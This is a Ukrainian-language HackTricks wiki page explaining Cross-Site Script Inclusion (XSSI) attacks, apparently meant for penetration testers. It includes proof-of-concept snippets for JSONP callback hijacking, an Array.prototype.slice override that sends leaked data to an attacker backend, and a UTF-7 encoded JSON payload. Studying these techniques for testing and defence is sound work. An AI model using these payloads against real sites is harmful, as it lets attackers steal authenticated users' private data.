XSSI (Cross-Site Script Inclusion)

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Cross-Site Script Inclusion (XSSI) - це вразливість, яка виникає через природу тегу script в HTML. На відміну від більшості ресурсів, які підлягають Політиці одного походження (SOP), скрипти можуть бути включені з різних доменів. Ця поведінка призначена для полегшення використання бібліотек та інших ресурсів, розміщених на різних серверах, але також вводить потенційний ризик безпеки.

Ключові характеристики XSSI:

  • Обхід SOP: Скрипти звільнені від Політики одного походження, що дозволяє їх включення через домени.
  • Витік даних: Зловмисник може використати цю поведінку для читання даних, завантажених через тег script.
  • Вплив на динамічний JavaScript/JSONP: XSSI особливо актуальний для динамічного JavaScript або JSON з доповненням (JSONP). Ці технології часто використовують інформацію "ambient-authority" (таку як куки) для аутентифікації. Коли запит скрипта надсилається на інший хост, ці облікові дані (наприклад, куки) автоматично включаються в запит.
  • Витік токена аутентифікації: Якщо зловмисник може змусити браузер користувача надіслати запит на скрипт з сервера, який він контролює, він може отримати доступ до чутливої інформації, що міститься в цих запитах.

Типи

  1. Статичний JavaScript - Це представляє собою звичайну форму XSSI.
  2. Статичний JavaScript з аутентифікацією - Цей тип відрізняється тим, що вимагає аутентифікації для доступу.
  3. Динамічний JavaScript - Включає JavaScript, який динамічно генерує контент.
  4. Не-JavaScript - Відноситься до вразливостей, які не залежать безпосередньо від JavaScript.

Наступна інформація є резюме https://www.scip.ch/en/?labs.20160414. Перевірте її для отримання додаткових деталей.

Регулярний XSSI

У цьому підході приватна інформація вбудована в глобально доступний JavaScript файл. Зловмисники можуть ідентифікувати ці файли за допомогою методів, таких як читання файлів, пошук за ключовими словами або регулярні вирази. Після знаходження скрипт, що містить приватну інформацію, може бути включений у шкідливий контент, що дозволяє несанкціонований доступ до чутливих даних. Приклад техніки експлуатації наведено нижче:

html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Динамічний-JavaScript-на основі-XSSI та Аутентифікований-JavaScript-XSSI

Ці типи атак XSSI передбачають динамічне додавання конфіденційної інформації до скрипту у відповідь на запит користувача. Виявлення може бути виконано шляхом надсилання запитів з і без куків та порівняння відповідей. Якщо інформація відрізняється, це може вказувати на наявність конфіденційної інформації. Цей процес можна автоматизувати за допомогою інструментів, таких як DetectDynamicJS розширення Burp.

Якщо конфіденційні дані зберігаються в глобальній змінній, їх можна експлуатувати, використовуючи подібні методи до тих, що використовуються в Регулярному XSSI. Однак, якщо конфіденційні дані включені у відповідь JSONP, зловмисники можуть перехопити функцію зворотного виклику, щоб отримати інформацію. Це можна зробити, маніпулюючи глобальними об'єктами або налаштувавши функцію, яка буде виконана відповіддю JSONP, як показано нижче:

html
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

Для змінних, які не знаходяться в глобальному просторі імен, підробка прототипу іноді може бути використана. Ця техніка використовує дизайн JavaScript, де інтерпретація коду передбачає проходження по ланцюгу прототипів для знаходження викликаної властивості. Перезаписуючи певні функції, такі як Array's slice, зловмисники можуть отримати доступ до не-глобальних змінних і витікати їх:

javascript
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

Додаткову інформацію про вектори атак можна знайти в роботі дослідника безпеки Sebastian Lekies, який веде список vectors.

Non-Script-XSSI

Дослідження Такеші Теради вводить ще одну форму XSSI, де файли Non-Script, такі як CSV, витікають через крос-доменне включення як джерела в тегу script. Історичні випадки XSSI, такі як атака Джеремії Гроссмана 2006 року для читання повного адресного довідника Google та витік даних JSON Джо Уокера 2007 року, підкреслюють серйозність цих загроз. Крім того, Гарет Хейз описує варіант атаки, що включає закодований у UTF-7 JSON для виходу з формату JSON та виконання скриптів, що ефективно в певних браузерах:

javascript
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
html
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks